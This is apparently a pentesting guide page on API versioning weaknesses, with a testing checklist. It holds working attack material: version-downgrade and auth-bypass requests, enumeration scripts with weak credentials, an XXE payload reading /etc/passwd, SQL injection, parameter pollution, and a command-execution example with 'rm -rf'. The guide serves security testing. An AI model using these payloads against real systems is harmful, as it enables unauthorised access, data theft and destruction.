API versioning security

API Versioning Security

What is API Versioning Security?

API versioning security focuses on vulnerabilities that arise when multiple versions of an API coexist, often with different security implementations, deprecated endpoints, and inconsistent access controls. Attackers exploit version differences to access legacy functionality, bypass modern security controls, or escalate privileges through less secure older API versions.

Vulnerable Scenario Example

Modern secure API (v2):

GET /api/v2/users/123 HTTP/1.1
Authorization: Bearer jwt_token
X-API-Version: 2.0

# Response: Requires proper JWT validation
HTTP/1.1 401 Unauthorized
{"error": "Invalid token"}

Legacy vulnerable API (v1):

GET /api/v1/users/123 HTTP/1.1
X-API-Version: 1.0

# Response: No authentication required!
HTTP/1.1 200 OK
{
  "id": 123,
  "username": "admin",
  "email": "admin@company.com",
  "role": "administrator",
  "password_hash": "5d41402abc4b2a76b9719d911017c592"
}

Attack Result: The legacy v1 API lacks authentication and exposes sensitive data including password hashes, while v2 has proper security controls.

Common API Versioning Vulnerabilities

Version Downgrade Attacks

URL Path Downgrade:

# Try different version paths
GET /api/v3/admin/users HTTP/1.1        # Blocked
GET /api/v2/admin/users HTTP/1.1        # Blocked  
GET /api/v1/admin/users HTTP/1.1        # Success!
GET /api/v0/admin/users HTTP/1.1        # Success!
GET /api/beta/admin/users HTTP/1.1      # Success!

Header-Based Downgrade:

# Modern request blocked
GET /api/users HTTP/1.1
Accept: application/vnd.api+json; version=3
Authorization: Bearer token

# Downgrade to older version
GET /api/users HTTP/1.1
Accept: application/vnd.api+json; version=1
# No authorization header needed

Query Parameter Downgrade:

# Secure current version
GET /api/users?version=2.1 HTTP/1.1
Authorization: Bearer token

# Insecure legacy version
GET /api/users?version=1.0 HTTP/1.1
GET /api/users?v=1 HTTP/1.1
GET /api/users?api_version=0.9 HTTP/1.1

Inconsistent Authentication Across Versions

Mixed Authentication Requirements:

# v2 requires OAuth
POST /api/v2/transfer HTTP/1.1
Authorization: Bearer oauth_token
Content-Type: application/json

{"amount": 1000, "to_account": "12345"}

# v1 uses Basic Auth (easier to crack)
POST /api/v1/transfer HTTP/1.1
Authorization: Basic dXNlcjpwYXNz
Content-Type: application/json

{"amount": 1000, "to_account": "12345"}

# v0 has no authentication
POST /api/v0/transfer HTTP/1.1
Content-Type: application/json

{"amount": 1000, "to_account": "12345"}

Deprecated Endpoint Exploitation

Legacy Admin Functions:

# Modern API - admin endpoint secured
GET /api/v3/admin/debug HTTP/1.1
Authorization: Bearer admin_jwt_token
# Response: 403 Forbidden

# Legacy API - admin endpoint exposed
GET /api/v1/admin/debug HTTP/1.1
# Response: 200 OK with debug information

Removed Security Controls:

# Current version with rate limiting
POST /api/v2/login HTTP/1.1
# Rate limited after 5 attempts

# Legacy version without rate limiting
POST /api/v1/login HTTP/1.1
# No rate limiting - brute force possible

API Version Discovery Techniques

Automated Version Enumeration

Using ffuf for Version Discovery:

# Common version patterns
ffuf -u https://api.target.com/FUZZ/users \
     -w version_wordlist.txt \
     -mc 200,401,403

# Version wordlist examples:
# v1, v2, v3, api/v1, api/v2
# version1, ver1, 1.0, 2.0
# beta, alpha, dev, test
# latest, current, stable

Burp Intruder Version Testing:

1. Capture API request
2. Send to Intruder
3. Mark version parameter as payload position:
   - URL path: /api/§v1§/users
   - Header: X-API-Version: §1.0§
   - Query: ?version=§2§
4. Load version payloads
5. Analyze response differences

Manual Version Discovery

Common Version Endpoints:

# Test common version disclosure endpoints
curl https://api.target.com/version
curl https://api.target.com/api/version
curl https://api.target.com/v1/version
curl https://api.target.com/info
curl https://api.target.com/status
curl https://api.target.com/health

# Check HTTP headers
curl -I https://api.target.com/api/users
# Look for: X-API-Version, API-Version, Version

Error-Based Version Discovery:

# Send invalid version to trigger error messages
GET /api/v999/users HTTP/1.1

# Response might reveal available versions
HTTP/1.1 400 Bad Request
{
  "error": "Invalid API version. Supported versions: v1, v2, v3"
}

Version-Specific Testing Methodology

Comparative Security Analysis

Using Postman Collections:

Create collection for each API version
Set environment variables:
- v1_base_url: https://api.target.com/v1
- v2_base_url: https://api.target.com/v2
- v3_base_url: https://api.target.com/v3
Test identical endpoints across versions
Compare authentication requirements
Document security differences

Security Feature Comparison:

#!/bin/bash
# Compare security features across versions

versions=("v1" "v2" "v3")
endpoints=("/users" "/admin" "/transfer" "/delete")

for version in "${versions[@]}"; do
    echo "Testing version: $version"
    
    for endpoint in "${endpoints[@]}"; do
        echo "  Testing $endpoint"
        
        # Test without authentication
        response=$(curl -s -w "%{http_code}" \
            "https://api.target.com/$version$endpoint")
        echo "    No auth: $response"
        
        # Test with weak credentials
        response=$(curl -s -w "%{http_code}" \
            -u "admin:admin" \
            "https://api.target.com/$version$endpoint")
        echo "    Weak auth: $response"
    done
    echo "---"
done

Authentication Bypass Testing

Cross-Version Token Testing:

# Get token from newer version
POST /api/v2/login HTTP/1.1
{"username": "user", "password": "pass"}

# Response: {"token": "v2_jwt_token"}

# Try token with older version
GET /api/v1/admin/users HTTP/1.1
Authorization: Bearer v2_jwt_token

# Test if v1 validates v2 tokens properly

Legacy Authentication Testing:

# Test older authentication methods
curl -H "X-API-Key: legacy_key" https://api.target.com/v1/users
curl -H "Session-ID: session123" https://api.target.com/v1/users
curl -u "user:pass" https://api.target.com/v1/users

# Test if newer versions accept legacy auth
curl -H "X-API-Key: legacy_key" https://api.target.com/v3/users

Advanced Version Exploitation

Version Confusion Attacks

Mixed Version Headers:

# Send conflicting version information
GET /api/v2/admin/users HTTP/1.1
X-API-Version: 1.0
Accept: application/vnd.api+json; version=3
API-Version: 0.9

# Server might process as least secure version

Version Override Attempts:

# Try to override version detection
GET /api/v3/users HTTP/1.1
X-Version-Override: v1
X-Force-Version: 1.0
X-API-Fallback: legacy

Business Logic Version Bypasses

Feature Flag Manipulation:

# Test if older versions have different feature flags
GET /api/v1/config HTTP/1.1
# Might expose debug_mode=true, admin_access=enabled

POST /api/v1/users HTTP/1.1
Content-Type: application/json

{
  "username": "newuser",
  "role": "admin",  # Might work in v1 but not v2
  "debug_mode": true
}

Parameter Pollution Across Versions:

# v1 might process first parameter, v2 might process last
POST /api/v1/transfer HTTP/1.1
Content-Type: application/x-www-form-urlencoded

amount=10&to_account=user123&amount=1000&to_account=attacker

Specific Version Attack Patterns

Legacy Endpoint Exploitation

Deprecated Admin Functions:

# Test for forgotten admin endpoints in older versions
endpoints=(
    "/admin/phpinfo"
    "/admin/debug"
    "/admin/logs"
    "/admin/config"
    "/admin/users/all"
    "/system/status"
    "/internal/metrics"
)

for endpoint in "${endpoints[@]}"; do
    for version in v1 v0 api beta; do
        curl -s "https://api.target.com/$version$endpoint" | grep -q "error" || echo "Found: $version$endpoint"
    done
done

Data Format Differences:

# v1 might return more data
GET /api/v1/users/123 HTTP/1.1
# Response includes password_hash, internal_notes

# v2 filters sensitive data
GET /api/v2/users/123 HTTP/1.1  
# Response excludes sensitive fields

Version-Specific Injection Points

Legacy Parsers:

# Older versions might have vulnerable XML parsers
POST /api/v1/data HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

# Newer versions might only accept JSON

SQL Injection in Legacy Versions:

# v1 might use string concatenation
GET /api/v1/users?id=1' OR '1'='1 HTTP/1.1

# v2 uses parameterized queries  
GET /api/v2/users?id=1' OR '1'='1 HTTP/1.1
# Safe from SQL injection

Testing Tools and Automation

Burp Suite Version Testing

Custom Extensions:

Useful extensions for version testing:
- API Security Audit: Automated API version discovery
- Param Miner: Discovers version parameters
- Backslash Powered Scanner: Tests version paths
- Additional Scanner Checks: Version-specific checks

Intruder Payloads for Versions:

# Version path payloads
v1, v2, v3, v4, v5
api/v1, api/v2, api/v3
version1, version2, ver1, ver2
1.0, 1.1, 2.0, 2.1, 3.0
beta, alpha, dev, test, staging
legacy, old, deprecated, archive

Postman API Version Testing

Collection Structure:

API Version Security Testing/
├── Version Discovery/
│   ├── Path-based discovery
│   ├── Header-based discovery
│   └── Parameter-based discovery
├── V1 Testing/
│   ├── Authentication tests
│   ├── Authorization tests
│   └── Injection tests
├── V2 Testing/
│   └── (same test structure)
└── Cross-Version Tests/
    ├── Token reuse tests
    ├── Downgrade attacks
    └── Version confusion

Environment Variables:

// Pre-request script for version testing
const versions = ['v1', 'v2', 'v3', 'beta'];
const currentVersion = pm.environment.get('current_version') || 'v1';
const nextVersionIndex = (versions.indexOf(currentVersion) + 1) % versions.length;

pm.environment.set('current_version', versions[nextVersionIndex]);
pm.request.url.path = ['api', versions[nextVersionIndex], 'users'];

Automated Version Security Scanner

Python Version Scanner:

import requests
import json
from urllib.parse import urljoin

class APIVersionScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.versions_found = []
        self.security_issues = []
    
    def discover_versions(self):
        version_patterns = [
            'v1', 'v2', 'v3', 'v4', 'v5',
            'api/v1', 'api/v2', 'api/v3',
            '1.0', '1.1', '2.0', '2.1',
            'beta', 'alpha', 'dev', 'test'
        ]
        
        for pattern in version_patterns:
            test_url = urljoin(self.base_url, f'{pattern}/users')
            try:
                response = requests.get(test_url, timeout=5)
                if response.status_code != 404:
                    self.versions_found.append(pattern)
                    print(f"Found version: {pattern} (Status: {response.status_code})")
            except:
                continue
    
    def test_authentication_bypass(self):
        test_endpoints = ['/users', '/admin', '/config']
        
        for version in self.versions_found:
            for endpoint in test_endpoints:
                url = urljoin(self.base_url, f'{version}{endpoint}')
                
                # Test without authentication
                response = requests.get(url)
                if response.status_code == 200:
                    self.security_issues.append({
                        'version': version,
                        'endpoint': endpoint,
                        'issue': 'No authentication required',
                        'response_length': len(response.text)
                    })
    
    def test_version_downgrade(self):
        if len(self.versions_found) < 2:
            return
        
        # Get token from latest version
        latest_version = max(self.versions_found, key=lambda x: x[-1] if x[-1].isdigit() else '0')
        token_url = urljoin(self.base_url, f'{latest_version}/login')
        
        # Try using token with older versions
        for version in self.versions_found:
            if version != latest_version:
                test_url = urljoin(self.base_url, f'{version}/admin')
                headers = {'Authorization': 'Bearer test_token'}
                
                response = requests.get(test_url, headers=headers)
                if response.status_code not in [401, 403]:
                    self.security_issues.append({
                        'version': version,
                        'issue': 'Accepts tokens from other versions',
                        'details': f'Token from {latest_version} works with {version}'
                    })
    
    def generate_report(self):
        print(f"\n=== API Version Security Report ===")
        print(f"Base URL: {self.base_url}")
        print(f"Versions found: {', '.join(self.versions_found)}")
        print(f"Security issues: {len(self.security_issues)}")
        
        for issue in self.security_issues:
            print(f"\n[!] {issue['issue']}")
            print(f"    Version: {issue['version']}")
            if 'endpoint' in issue:
                print(f"    Endpoint: {issue['endpoint']}")
            if 'details' in issue:
                print(f"    Details: {issue['details']}")

# Usage
scanner = APIVersionScanner('https://api.target.com/')
scanner.discover_versions()
scanner.test_authentication_bypass()
scanner.test_version_downgrade()
scanner.generate_report()

Version-Specific Data Exposure

Sensitive Field Comparison:

# Compare data returned by different versions
diff <(curl -s https://api.target.com/v1/users/1 | jq .) \
     <(curl -s https://api.target.com/v2/users/1 | jq .)

# Look for:
# - Password hashes in older versions
# - Internal IDs and references
# - Debug information
# - Administrative flags

Legacy Functionality Risks

Deprecated Operations:

# Test for dangerous operations in legacy versions
DELETE /api/v1/users/all HTTP/1.1
POST /api/v1/admin/execute HTTP/1.1
Content-Type: application/json

{"command": "rm -rf /tmp/*"}

PUT /api/v1/config/reset HTTP/1.1

Checklist

Version Discovery Prevention:

Test that version endpoints don't expose sensitive info
Verify older versions are properly deprecated
Check that error messages don't reveal versions
Ensure version headers are properly validated

Authentication Consistency:

Test authentication requirements across all versions
Verify tokens aren't accepted by incompatible versions
Check that newer security controls apply to legacy versions
Test for authentication bypass in older versions

Authorization Controls:

Verify admin endpoints are secured in all versions
Test that sensitive operations require proper authorization
Check for privilege escalation across versions
Ensure deprecated endpoints are properly secured

Data Protection:

Compare data exposure across versions
Test that sensitive fields are filtered consistently
Verify legacy versions don't expose debug information
Check for information disclosure in older formats

Input Validation:

Test for injection vulnerabilities in legacy parsers
Verify input validation is consistent across versions
Check for parser confusion attacks
Test legacy content-type handling

PreviousAPI rate limiting bypass NextOpenAPI/Swagger security analysis

Last updated 2 months ago

Was this helpful?

Good afternoon

hashtagAPI Versioning Security

hashtagWhat is API Versioning Security?

hashtagVulnerable Scenario Example

hashtagCommon API Versioning Vulnerabilities

hashtagVersion Downgrade Attacks

hashtagInconsistent Authentication Across Versions

hashtagDeprecated Endpoint Exploitation

hashtagAPI Version Discovery Techniques

hashtagAutomated Version Enumeration

hashtagManual Version Discovery

hashtagVersion-Specific Testing Methodology

hashtagComparative Security Analysis

hashtagAuthentication Bypass Testing

hashtagAdvanced Version Exploitation

hashtagVersion Confusion Attacks

hashtagBusiness Logic Version Bypasses

hashtagSpecific Version Attack Patterns

hashtagLegacy Endpoint Exploitation

hashtagVersion-Specific Injection Points

hashtagTesting Tools and Automation

hashtagBurp Suite Version Testing

hashtagPostman API Version Testing

hashtagAutomated Version Security Scanner

hashtagVersion-Specific Data Exposure

hashtagLegacy Functionality Risks

hashtagChecklist